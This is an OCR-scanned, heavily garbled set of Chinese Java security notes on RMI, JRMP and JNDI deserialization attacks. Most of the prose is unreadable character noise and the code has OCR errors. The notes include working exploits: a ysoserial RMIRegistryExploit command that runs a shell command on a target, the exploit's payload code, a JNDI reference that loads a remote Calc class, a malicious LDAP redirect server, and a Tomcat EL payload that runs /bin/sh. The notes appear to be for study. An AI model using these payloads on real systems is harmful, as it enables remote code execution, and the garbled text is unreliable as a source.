Java B2 F5ICik

BRRTRARF javalBxZe, LECEES M MNOFHR", BRESBFEMEK. (FHA—EERA
BNERAES, SENG. BRIMKIZIRZRIEIR, 10-11R58E, 11-12-java, HEGHH

1=
Q
SEEIE

JavaEfi

XEERILRS, EEREICH~- RS ToEER, FBERNFKERNCREL
15 B[]

FRUEHR R

1. spIilil ERBREMR?

2. Javaif B AR?

3. JavaZin#ELE BHA?

4. BRI R R e R n?

5. {55FH) DBCAMEI S —NEBFRRY Mt e s 1A RRIR?

el

Ojsp | jni &4 rasp

RMI & JRMP & JNDI

F3 &R
1. 52H0 - threedr3am - EF)avaRFFFIKRCE - #E{ERMI, JRMP. JNDI
2. Freebuf - B{IIFK7SS
3. Yder

4. skay XHRELKAY pdf
—EIASROZBAERIERY/ tips - fRIZE 2 SXE
ETREZE, BI15CETAVAREFRF ML ERRFEEOLI,
1.Serializable#%[: ZEksCHwriteObject, readObject, writeReplace, readResolve

2.Externalizable3zZ[: EXKSCIR writeExternal, readExternal
RMI
EitEps

RMI €79 Java Remote Method Invocation, Blmte/5i%ERE, BT EvmARITES L. 818
FHFAEHINNEG, &I RMISERRAMEE... XS E

REHLERNAK, HESHIFBE—T, TERBCIRT—T, ICRUE
BAE, ERAEELIT RMIA—EE (R - RiE)


af://n0
https://xz.aliyun.com/t/7945#toc-0
af://n6
af://n9
af://n21
af://n25
https://xz.aliyun.com/t/7079
https://www.freebuf.com/articles/web/252561.html
https://y4er.com/post/java-rmi/
af://n41
af://n42
https://xz.aliyun.com/t/7930
https://blog.csdn.net/u013630349/article/details/51954161

Skeleton

m Virtual connection
Network connection
Transport Layer 4 Transport Layer

RMI AR stubs / skeletons SHITIZAENISIBE(S. stub RUITETRAIEZFIHLE, BMIE
MEEBE— M SRstub, HITREREHR, BEEAMIBZNRIRENS - stub, AEHE
FARENS EH7SE, WF:

1. SInfEXI SRR R IR
2. Marshal U2 ITfEEIN

3. EHEEMIETER

4. Unmarshahizf2aRE1Z5ER

5. IR[EES AR RIFER

TEserverimilskeletion@ I R

1. iR (unmarshal) stub {&3kHISEL
2. FREE
3. 78 (marshal) &%5stub

bindA3
FE—Fh:

Server H RMI Registry Client

server @id bind jFIRSGES, S#HITFFIE, FrLAZI RMI Registry B9BHE, S7o#N
RegistryImpl_skel.dispatch REFIHIRSE &Ref

BT

Server RMI Registry Client

server f1 RMI F—&#128, 7E bind jFMMETHT server LEZE Ref, FEERIIER, RE
bindings list 7RIS ML E


af://n69

bind&lookupifis

EEBdemolIRHE, 4BRERIENT5iAEBLUAF T UnicastRemoteObject, XFXAMALIENE
Zith bind
demof{fB4l T, FE—RT, PE—RZHE

// BEO4k7&KRemote
pubTlic interface HelloService extends Remote {
String sayHello() throws RemoteException;

// SEBlEZO, 4K unicastRemote
public class HelloServiceImpl extends UnicastRemoteObject implements
HelloService {

public HelloServiceImpl() throws RemoteException {

@override

pubTlic String sayHello() throws RemoteException {
System.out.printin("hello");
return "hello";

// WS, H4 4 T AEAS R A E ok
public class App {
public static void main(string[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl1());
} catch (RemoteException | AlreadyBoundException e) {
e.printStackTrace();

// &, A
public class Appl {
pubTlic static void main(String[] args) throws IOException,
ClassNotFoundException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
HelloService helloService = (HelloService) registry.lookup("hello");
System.out.printinChelloService.sayHello());
} catch (NotBoundException e ) {
e.printStackTrace();

BEFE App RSB, AR bind ERAE_F, BT server LBEE Ref 7, EE—EWE LEHA
BERIIY. REFWETENER, bind THTS. IRHEE—TFLE:
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public void bind(String varl, Remote var2) throws RemoteException,
AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(varl);
if (var4 '= null) {
throw new AlreadyBoundException(varl);
} else {
this.bindings.put(varl, var2);

BILAERIEEE bindings X4 hashmap B put BIE]
lookup
Y 77}

1. @i lookup IX server BEF TR KT
2. registry 1813 lookup #aIE client i

EALERELEEENE, stubiRskeletionfEEUELNE FEBRIZZIEIES, STHITRFIIE
&, FRLAFFELAER, XERENEA, E— Nz

HAFFEEF i , BRH—T lookup (Registrylmpl_Stub), fXFBIIT:

public Remote lookup(String varl) throws AccessException, NotBoundException,
RemoteException {
try {

// operations

// new Operation[]{new Operation("void bind(java.lang.String,
java.rmi.Remote)"), new Operation("java.lang.String Tist(Q[]"), new
operation("java.rmi.Remote Tookup(java.lang.String)"), new Operation("void
rebind(java.lang.String, java.rmi.Remote)"), new Operation("void
unbind(java.Tlang.string)")};

// XEM 2 25 opnum

RemotecCall var2 = super.ref.newCall(this, operations, 2,
4905912898345647071L) ;

try {
Objectoutput var3 = var2.getoutputStream();
// Wik rigsitry ¥ s
var3.writeobject(varl);
} catch (I0Exception varl8) {
throw new MarshalException("error marshalling arguments", varl8);

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
// W
var23 = (Remote)var6.readobject();
} catch (I0Exception varl5) {
throw new UnmarshalException("error unmarshalling return", varl5);
} catch (ClassNotFoundException varl6) {
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throw new UnmarshalException("error unmarshalling return", varl6);
} finally {
super.ref.done(var2);

return var23;
} catch (RuntimeException varl9) {
throw varl9;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var2l) {
throw var2l;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);

E—TIRFEIHAY sun.rmi.registry.RegistryImpl_skel#dispatch , HHF EEEEAY opnum A
2, BXEBABEFHXE—E

case 2:
try {
varl0 = var2.getInputStream();
var?7 = (String)varl0O.readobject();
} catch (I0Exception var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();

var8 = varé6.lookup(var?7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeobject(var8);
break;
} catch (IOException var88) {
throw new Marshalexception("error marshalling return", var88);

RIAR, E=MARZE, VAT readobject , 1R{E 2 IREBEXINAYA lookup Fi%k. INE, FHiNHE
XEBFrERY case BHIHFKE—T:

case O:
// BIND
try {

varll = var2.getInputStream();

var7 = (string)varll.readobject();

var8 = (Remote)varll.readobject();
} catch (IOException var94) {

throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {

throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {



var2.releaseInputStream();

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (I0Exception var93) {
throw new Marshalexception("error marshalling return", var93);
}
case 1:
// LIST
var2.releaseInputStream();
String[] var97 = var6.1list(Q);

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeobject(var97);
break;
} catch (I0Exception var92) {
throw new MarshalException("error marshalling return", var92);

}

case 2:
// LOOKUP
try {

varl0 = var2.getInputStream();

var7 = (String)varlO.readobject();
} catch (I0Exception var89) {

throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {

throw new UnmarshaleException("error unmarshalling arguments", var90);
} finally {

var2.releaseInputStream() ;

var8 = varé6.lookup(var?7);

try {
Objectoutput var9 = var2.getResultStream(true);
var9.writeobject(var8);
break;
} catch (I0Exception var88) {
throw new MarshalException("error marshalling return", var88);

}

case 3:
// REBIND
try {

varll = var2.getInputStream();

var7 = (String)varll.readobject();

var8 = (Remote)varll.readobject();
} catch (IOException var85) {

throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {

throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {

var2.releaseInputStream();



var6.rebind(var7, var8);

try {
var2.getResultStream(true) ;
break;
} catch (I0Exception var84) {
throw new MarshalException("error marshalling return", var84);

}

case 4:
// UNBIND
try {

varl0 = var2.getInputStream();

var7 = (String)varl0O.readobject();
} catch (I0Exception var81l) {

throw new UnmarshalException("error unmarshalling arguments", var8l);
} catch (ClassNotFoundException var82) {

throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {

var2.releaseInputStream() ;

var6.unbind(var?7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);

BILABEIBRT case 1 1 list 735%, HAREMFFE readObject
ifE bind

Wikps: JXHMbindOFFR, FAIRTLAGAEAY registry (registryfserverA—EER—"
Fi L, BERAESDERTERE—NENLA)

ATTHE, FATEETE wsl B yso

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit
192.168.0.134 1099 CommonsCollections6 "cmd /c calc.exe" , BUE ©~J WraBE(1EEES
dispatch iXE, Bk case 0

case 0:
try {
varll = var2.getInputStream();
var7 = (String)varll.readobject();
var8 = (Remote)varll.readobject();
} catch (IOException var94) {
throw new UnmarshaleException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();

var6.bind(var7, var8);
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try {
var2.getResultStream(true);
break;
} catch (I0Exception var93) {
throw new MarshaleException("error marshalling return", var93);

BAEAYIEE] readObject (FEFR) , DRFKERIR RSB (var7) LK stub (vard)
KERE
FERINERZIR, E=FKEE, D3R
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3. registry #a1I4TE client

Bt _ERER—IRE R, HARSE

HMRMIBRSS RIS (BY lala)

HEFHECHEEREWMRMIRS

S o | mnemEEsZabO®ED AR
S FECHISH S Object lIRMIBRSS
gggf*ﬁﬁﬂwuﬁmﬁg‘ﬂﬁ°we“¥ sy RAISHARSEa b(OIED ERHSIT
SISjavaEIRIARERIRE
M E S SRRV
;"gg’;'ﬁﬁ’*"mmﬁﬁ (SidObjectst | BAEAIARA % b(ORIED ERHSHT
Si5javatIRIEEERIRE
6u141, 7u131, 8u121, JEP290HLEZHl I HjavaEIMETEIERI AR
D { Bu41280 (REWSEREFILRS) { FIFbind. unbind, rebind3HE FrEmen
Si5javatIRISEERIRE
RMIE Pk R EFILICE S — — AR AT 6u141,7u131, 8u121, JEP29ORLEZHI e ERHSHNIT
_ S5javatIRISEERIRE o
WERMEEARE\E S ——DGCE 6u141, 7u131, 8u121, JEP29OHBZAI (—(RMIEE%WRMIMMEDGCB&%) EEHONT
8u23128) (43JEP290) Si5javatRSERIRE o
R S S AR == O | sunzm smsErRRE | S RVP-Listener S ERETA FRmSne
;::;:EPH&EHMHEM__'“"“P* 8u231Z8 (£2JEP290) _[%’m e PO

XhjavaBRRTHER A
RMIZ PR EFFIEI S E R i ——lookup+ 8u241Z8] (4HdJEP290)

: EEHSHRT
JRMP (An Trinh) —Q SIEEEIRMP-Listener RS EamLETis *

e bind - RMIRegistryExploit

WiERARX—87, EAEKElysoserial, XNMDHENIBERFZUCEB—EBoEH, TEWE—TFY
8, FEERAsun.reflect.annotation.AnnotationinvocationHandlerziZ{tIERemote.class, AGEET
bind IZ& Registry

pubTlic static void exploit(final Registry registry,

final Class<? extends ObjectPayload> payloadClass,

final String command) throws Exception {

new ExecCheckingSecurityManager().callwrapped(new Callable<void>(){public

void call() throws Exception {

ObjectPayload payloadobj = payloadClass.newInstance();

Object payload = payloadobj.getobject(command);

String name = "pwned" + System.nanoTime();

Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name,
payload), Remote.class);
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try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();

3
Utils.releasePayload(payloadobj, payload);
return null;

D

e RMI Remote Object
codebase & useCodebaseOnly

EMNEMEIBESM: EEjava.rmi.server.useCodebaseOnly=false, XMFEE 6u45, 7u21 ZHIEIA
FE. (ERREXTAIERMERTEIRONT, FLSHEHIE—T)

AHURIE - BEASRY: SNERRMIERE—IRRVMIE]ava.rmi.server.codebase RABIHEFISE T — K
Z/NURL, MZERSEIRMIEREREIS—in., WREKT5)IVMEY
java.rmi.server.useCodebaseOnlyRABIHIZE Hfalse, MR HERAIXLEURLEIMERMIEKTH
5|FARYavazk,

e Server I¥i Client i & Client I¥Th Serverif
HIBE T RMI BUiE1TERtEEER T, TAEEESEERE R A5 ULAE)RT
BEAET sun.rmi.server.UnicastRef#invoke , FEBIIT

var7.executecall(); // CLINET Wi server

try {
Class var49 = var2.getReturnType();
if (var49 != void.TYPE) {
varll = var7.getInputStream();
Object var50 = unmarshalvalue(var49, (ObjectInput)varll); // server Xil;

client
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
this.ref.getChannel().free(var6, true);
Object varl3 = var50;
return varl3;
}

HIOXBREARRENE] T —EKK, FIEEEIRHEEL (BUEk! FEEysoserial=N
BES)

ERREABE B NERNER, (BFL EX—EDEFEIFESIERA, BIABNXERFT (F4
BEICRIRIAERR)
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DGC
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DGOE(EHFTERFFFINIE, X MHEIREL JRMP th—i2E
JRMP
HEkERS

£FR /9 Java Remote Method Protocol, B2—1ETF TCP/IP EAUtHY, _EiA RMI BUISFERHZE
JRMP MY EHREIEET, REBEEITCPER), MATARRMIMNY,

NIRItBIRE T8 RMI lookup IRERIRHRSFERITRIIEN, FA JRMP S AERXAMENT (socketi@
5, RKIEAZKENA)

M ysoserial H&
THE—TRERE:

g

1. payloads.JRMPListener
FENE—TERREERY Gadget chain

Gadget chain:

UnicastRemoteObject.readobject(ObjectInputStream) Tine: 235

* UnicastRemoteObject.reexport() line: 266

* UnicastRemoteObject.exportObject(Remote, int) Tine: 320
UnicastRemoteObject.exportobject(Remote, UnicastServerRef) Tine: 383
UnicastServerRef.exportobject(Remote, Object, boolean) Tine: 208

* LiveRef.exportObject(Target) Tline: 147

* TCPEndpoint.exportObject(Target) line: 411

* TCPTransport.exportObject(Target) Tine: 249

* TCPTransport.listen() line: 319

HIBEIRZEHNITR, EUnicastRemoteObject X, BEZEEC2ES 1 readObject,
UnicastRemoteObject SEIAYFEHE

EFEUnicastRemoteObjecti] 135 (D H Fl41-2) L]

ActivationGroup (java.rmi.activation) < 1.8 > (rt.jar)

ActivationGroupImpl
ActivationMonitorImpl (Activation )

ReferencelWrapper

RIERE, FIMEEPEXE

@rPayloadTest( skip = "This test would make you potentially vulnerable™)
@Authors({ Authors.MBECHLER })

public class JRMPListener extends PayloadRunner implements
ObjectPayload<UnicastRemoteObject> {

pubTic UnicastRemoteObject getobject ( final String command ) throws
Exception {

int jrmpPort = Integer.parseInt(command);

UnicastRemoteObject uro =
Reflections.createwithConstructor(ActivationGroupImpl.class, RemoteObject.class,
new Class[] {

RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
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Reflections.getField(UnicastRemoteObject.class, "port").set(uro,
jrmpPort) ;
return uro;

public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);

—

SeEiH Reflections.createwithConstructor E—F

public static <T> T createwithConstructor ( Class<T> classToInstantiate, Class<?
super T> constructorcClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException,

I1legalAccessException, InvocationTargetException {

constructor<? super T> objCons =
constructorcClass.getDeclaredConstructor(consArgTypes) ;

setAccessible(objcons);

constructor<?> sc =
ReflectionFactory.getReflectionFactory() .newConstructorForSerialization(classToI
nstantiate, objcCons);

setAccessible(sc);

return (T)sc.newInstance(consArgs);

EREMRIAELTNRESD : (EHERRIMIEREFHREISLRI, FEHXE/9: RemoteObject 3589 RemoteRef FYH4
1588, FXAEActivationGrouplmpl AR —MNRTAIMIERS, SARIREISLA), XEHREEK T, 7
H2AEZ RemoteObject.class TEfEAIMIIESEHE] ActivationGrouplmpl , XE FB _EAINERLLEIR
BIET, aILAE— TR LR B E | ek B E .,

2. payloads.JRMPClient

THMBIZ—T dgc: ZEF MRS T RS SEIGANEITENSIE, SAk—FBLEM, B EIARE
£Jmit%79 java.rmi.dgc.leasevalue = 600000 , SNERHEFEISBLELANPANAARTFE (&2 GO)

=l =

* Generic JRMP client

* Pretty much the same thing as {@link RMIRegistryExploit} but

* - targeting the remote DGC (Distributed Garbage Collection, always there if
there is a Tistener)

* - not deserializing anything (so you don't get yourself exploited ;))

* @author mbechler

ERRRIRIERE, TEITR dgc, ARARREARMHITRFEII, FTUAFE EERAHEITRYIER.
XEBFER dgc X—REY, HME—TNEAK. FENEEKT, RRLRAXREN, K
registry inf9E A%
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dispatch:-1, DGCImpl_Skel (sun.rmi.transport)

XEESLASNET, BNXEABSESREE, Brs ERIGER FHREASRA.
JNDI
HilEns

JNDI £7%R Java Naming and Directory Interface, iR Java R IERZEN, EHXMEOTS
BZMBRAFIRSHIELI, FHIEETBMREXKREEXIONSR, H FTEEEFimF

JNDEEN: &K JNDI ¥ LAYRHE, WNSR URI SIS, BPARNMEFmMAIResER R E. i
gn

InitialcContext.lookup(URI)

FAIVE, XA, AMEHIRET T, REEERR, ARR—E, XCR—1AH

BREEERMI server, AfSlookup=SLANLHTERIIE, BEXIRMITIZINEAM 7RE] (8u113) ,
EIAARR trustT, (BRXMEIRE LDAP thilGAZRILAR, CVE4RS/ CVE-2018-3149, [55RN3TT
patch (8u191) , FMRMI—HHITFEERIAA false T, #EBRZ Reference iImfENNZL Factory 25, &EE
javax.naming.spi.NamingManager#getObjectFactoryFromReference

JEP290

Yder - @iz 531 | £#2 What is JEP290? JEP290RjavalEEh T EMRKR R LIRS
=, FEHTLUTILAD

1. R IRHEIRFFMLERIIE], BRRRNERBER,

2. IR FFMHRIREIIERE.

3. ARMITAE ARSI A 7 — NEIESRAIHH,

4. EX—AEERIDIENE, teanaILiEidAcEpropertiesSXAHRIFZAKE T iges

BRIAERE T, MUEHERET (BERA—EMEFES, RE
K4 filterCheck , 5D
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return String.class != var2 && !Number.class.isAssignableFrom(var2) &&
IRemote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) &&
lUnicastRef.class.isAssignableFrom(var2) &&
IRMIClientSocketFactory.class.isAssignableFrom(var2) &&
IRMIServersocketFactory.class.isAssignableFrom(var2) &&
IActivationID.class.isAssignableFrom(var2) && 'UID.class.isAssignableFrom(var2)
? Status.REJECTED : Status.ALLOWED;

HIEITEES - -Djdk.serialFilter =, BEER FTATIESENXSE0F
BEMNITIEES - objectinputFiltersEffieli#, demotl N(ikiz), EHRFBEIEF ReadObject, FNEFRTF
RMI:

objectInputFilter filesoOnlyFilter
=objectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");

AEILIE:E - JIRMI RegistryfIDGCHIREILIEES
&g
ER1, PREMA

ServerfFERUIIR IS, BERIGSEUEN payloaddk

&4k - (RIE) jdk8u231LLTF, BEBILEMPORFIMUL unicastref XK, 1ZEALULE—D
IRvP IERZERRARSSIm £, MITIFE D6C EIER—1MRFFIE, RMIBIDGCETE filter Z/FIRERY, Jos8
FREF. SABSTEUnicastRemoteObject FEE readObject , 4+, FrLAEFt&EFreadobject, —
PMRESANOR—MEME, E8u2412E 7T, ysofy JRMPClient B 7 iX4™ bypass

B2, Az

fEReferencerrigEAMEATFactory Class, a0 Tomcat A9 javax.el.ELProcessor, LA A#kizskayy
AT A2 EEARA I CLASSPATH . T 280540528 javax.naming.spi.ObjectFactory #
O, #HZEDFE—1 getObjectInstance() 7ik. org.apache.naming.factory.BeanFactory Nl
R M HAZEE MR A RE

1573, LDAPIREfhA A

— N EReference, BIMNEFFNUITSRENE, &% sgay LDAP Serverfs T {iFINDI ReferenceififT
FIRZAN, BZRFEHEZRE—NZREF IS . 3 Javaxt 21 javaserializedbata JEMEEA N,
% i) obj.decodeobject () Akt & iXANFBM N AT T HIL

%3 demo &%
517

1. # HelloService #¥7% Remote, A& sayHello /5i%
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package test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
String sayHello() throws RemoteException;

2. HelloServicelmpl 3L HelloService, 47 UnicastRemoteObject

package test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements
HelloService {
protected HelloServiceImpl() throws RemoteException {

@override

public String sayHello() throws RemoteException {
System.out.printin("hello");
return "hello";

3. 72 App BEI— 1099 H9 Registry ;EIRSS, FHE HelloServicelmpl 2L

package test;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class App {
public static void main(String[] args) {

try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl1());

} catch (RemoteException e) {
e.printStackTrace();

} catch (AlreadyBoundException e) {
e.printStackTrace();

4. 127 AppT1 ERSXN RMIBRSS, FHE lookup $EIZF/9 hello AIRISR

package test;



import java.io.IOException;

import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Appl {
public static void main(String[] args) throws IOException,
ClassNotFoundException {
try {
Registry registry = LocateRegistry.getRegistry('127.0.0.1",
1099);
HelTloService helloService = (HelloService)
registry.lookup("hello");
System.out.printinChelloService.sayHello());
} catch (NotBoundException e ) {
e.printStackTrace();

[BshiER App BIE1T1ER Appl, ZE A. BTEFIgHIH hello
B+ 2

1. App3, BIEE—NKE109989 Registry Huly, JEABIARSE 127.0.0.1:80 24EAY Calc.class

public class App3
{
pubTlic static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new
Reference("calc","calc","http://127.0.0.1:80/");
Referencewrapper referencewrapper = new Referencewrapper(reference);
registry.bind("hello", referencewrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();

2.72F B



pubTlic class App4 {
public static void main(String[] args) throws IOException,
ClassNotFoundException {
try {
new InitialContext().lookup("rmi://127.0.0.1:1099/hell0");
} catch (NamingException e) {
e.printStackTrace();

=iTEkE, REWT:

javax.naming.ConfigurationException: The object factory is untrusted. Set the
system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

at
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)

at
com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)

at

com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at test.App4.main(App4.java:10)

(MIFFAEUNESIRBAZIREIR, £RE untrusted $8IR) , EMENER, HNE: RAE
jdk8U121iRATFFER, Oraclei@BiTiREBENIAZRSETE com.sun.jndi.rmi.object.trustURLCodebase 79
false, SEIBEE rmi HRINEITENFLREASEEE, E25 AHREER:

1. A=R— : {#H Idap BRSBEUL rmi IR (7Ejdk8u191FFA, 5IANT JRP290, IIATRFFIZET
ig)  XEEEENREEAD

package test;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.Tistener.InMemoryDirectoryServerconfig;

import com.unboundid.ldap.Tistener.InMemoryListenerconfig;

import
com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

import java.net.MalformedURLException;
import java.net.URL;

* LDAP server

* @author threedr3am

:':/



public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(string[] args) {
runQ);

public static void run() {
int port = 1099;
//TODO {firesources Ffjcalc.class i HiE XBHHmI¥Etarget H% T
calc.class #NF FHEHAIGIIRhttp://host:portifiweb/R5s sl H 5B
String url = "http://localhost/#Calc";
try {
InMemoryDirectoryServerconfig config = new
InMemoryDirectoryServerconfig(LDAP_BASE) ;
config.setListenerconfigs(new InMemoryListenerconfig(
"Tisten", //$NON-NLS-1$%
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getbefault(),
SocketFactory.getbefault(),
(ssLSocketFactory) SSLSocketFactory.getbefault()));

config.addInMemoryoOperationInterceptor(new
OperationInterceptor(new URL(Curl1)));

InMemoryDirectoryServer ds = new
InMemoryDirectoryServer(config);

System.out.printin("Listening on 0.0.0.0:" + port); //$NON-NLS-
1%

ds.startListening();

} catch (Exception e) {
e.printStackTrace();

private static class OperationInterceptor extends
InMemoryOperationInterceptor {

private URL codebase;

-.':/
public OperationInterceptor(URL cb) {
this.codebase = cb;

/7’: %

* {@inheritDoc}

* @see
com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#process
SearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSear
chrResult)



*/
@override
pubTlic void processSearchResult(InMemoryInterceptedSearchResult
result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception el) {
el.printStackTrace();

protected void sendResult(InMemoryInterceptedSearchResult result,
String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase,
this.codebase.getRef().replace('.', '/').concat(""));
System.out.println("send LDAP reference result for " + base + "
redirecting to " + turl);
e.addAttribute("javaClassName", "calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexof('#");
if (refrPos > 0) {
cbstring = cbstring.substring(0, refPos);

}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-
NLS-1%
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchentry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
3

2. 35— tomcat-el &
FE lookup BIZEFimiFELL Tk

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>

</dependency>

A5 demo TNF

public class App
{

public static void main( String[] args )

{
try {
Registry registry = LocateRegistry.createRegistry(1099);



ResourceRef resourcerRef = new
ResourceRef("javax.el.ELProcessor",null,"","" true,"org.apache.naming.fa
ctory.BeanFactory",null);

//redefine a setter name for the 'x' property from 'setX' to
'eval', see BeanFactory.getObjectInstance code

resourceRef.add(new StringRefAddr("forcestring", "x=eval"));

//expression language to execute 'nslookup
jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows

resourceRef.add(new StringRefAddr("x",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\") .newInstan
ce() .geteEngineByName (\"JavasScript\").eval (\"new
java.lang.ProcessBuilder['(java.lang.String[])']1(['/bin/sh',"'-
c','/Applications/Calculator.app/Contents/Mac0oS/Calculator']).start(O\")

")

Referencewrapper referencewrapper = new
Referencewrapper(resourceRef);

registry.bind("hello", referencewrapper);

} catch (RemoteException e) {
e.printStackTrace();

} catch (AlreadyBoundException e) {
e.printStackTrace();

} catch (NamingException e) {
e.printStackTrace();

BESGET, BREREQE, ITL4F
1Ii&

1. 4T Register ;EAHL: EE2LEMAL, ASSH gadget bindRiEMH1L, ABREFFIE RCE
2. ¥J InitialContext.lookup: JNDIRYSEHL, AibBEE—A> reference, ik InitialContext.lookup KTtz

JNZELRCE
3. JRMPE#T
4. )RMPE3]

igiaEL

HTRTEMF, SREXRCRTE
<T>fl <>

SEEID
EX:

<T>RZHCERR, FH M TZRRMERMTTERE G <?>2lIEA, —BAREEMKRE SRz AT,
NEARBEERS S5HMAE, HENTZRENERANSZ RN S . TRE-M2ZHEnE

<?P>FEATARE, <T>EERTRENE L

<? extends xxx> & <? super xxx>
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https://www.cnblogs.com/drizzlewithwind/p/6100164.html

U pe

HENRXNE, CGLib ] jdk X3, FHEEHERIEERE python THEEIMER
FIERIESETE
JDK EEACHE

e Proxy.getProxyClass(classLoader,interface)/5i&r = — N aISENFTE
BREFeIELAIRA

1. TH3iE£8L: Bk Class.newlnstance()
2. BYHESEL: JoiBid Class.getConstructor SKEVKMIIERREL, Bnewlnstance, {BEXA
newlnstance EEEIEE—LI T InvocationHandler #AY2E handler, EZEFEE

#N#kse - ClassLoader
SERVIN - SZES b
B R

1. BootstrapClassLoader
2. ExtensionsClassLoader
3. AppClassLoader
HAERAY classpath B8R, FIANE(IIE 25/ demo Fii@id AppClassLoader A&
4. UserDefineClassLoader
Big4EClassLoaderss, HOLIIZEMEES. AL —LINRZRIRIE

WHEERIE

FIEAEA 4> 1, BEERIAER 1> 4, HlE0: — 3 AppClassLoader B, ¥ icEElF
258, BrERE, RBNERLEIR, LA, &/5% BootstrapClassLoaderY, tNEREHE, #
FiaEBCERPEER, NREHMRE], FEMRLET— (Extensions) , REHE
(AppClassLoader) XMIEFFEIE T2

FrUARIGF RN AAER . R RIREZE

Java #RiF
javailERg - (EED) -> java=eishs - (RrRsE) -> S
Servlet

o ServletZ2iZREServletSEIREHY Java 2
o FHttpServietsk, AILUHITES. i&K-ML BRIN FBER

jsp

SHWRIFR— javaZxft , 40 index.jsp £ Tomcat & Jasper fmiFa=ERL index_jsp.java #l
index_jsp.class N, E2tFikHIservlet,

Filter
iiEae
FESSLEE, AwebxmlfieBidiE, FETERR
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EHith

maven-assembly-plugin => HE X, mainclass

wiEiR
1 AERE S S (T LAE, SUFTER). Serbipi . U . Ui R 4 SR
2. SQLENTBIRE
3. XXE(XXMLEL{ FENIRE)
4, FAHIT(SPEL. OGNL, MVEL2, ELZ)
5. RGeS HI TImIR(ProcessBuilder)
6. RFEFFILILE(ObjectinputStream, JSON, XMLE)
7. Javaz 53T
8. SSRFIH
9. XSS

SQLiFEAN
1. SQLIEEIHZ
2. TemiR R

o EAERT prepareStatement, {BEZEIIAEHHEIZN

o order by BJERE, EAprepareStatementiXFhiidmiE, BAIA (fldlsetString) EBmINGI
=89, {BRorder bylIFERBAEENS S, SHFEFREFEBNREESE HXFRsq

String sql = "Select * from news where title =?" + "order by + time +
asc"
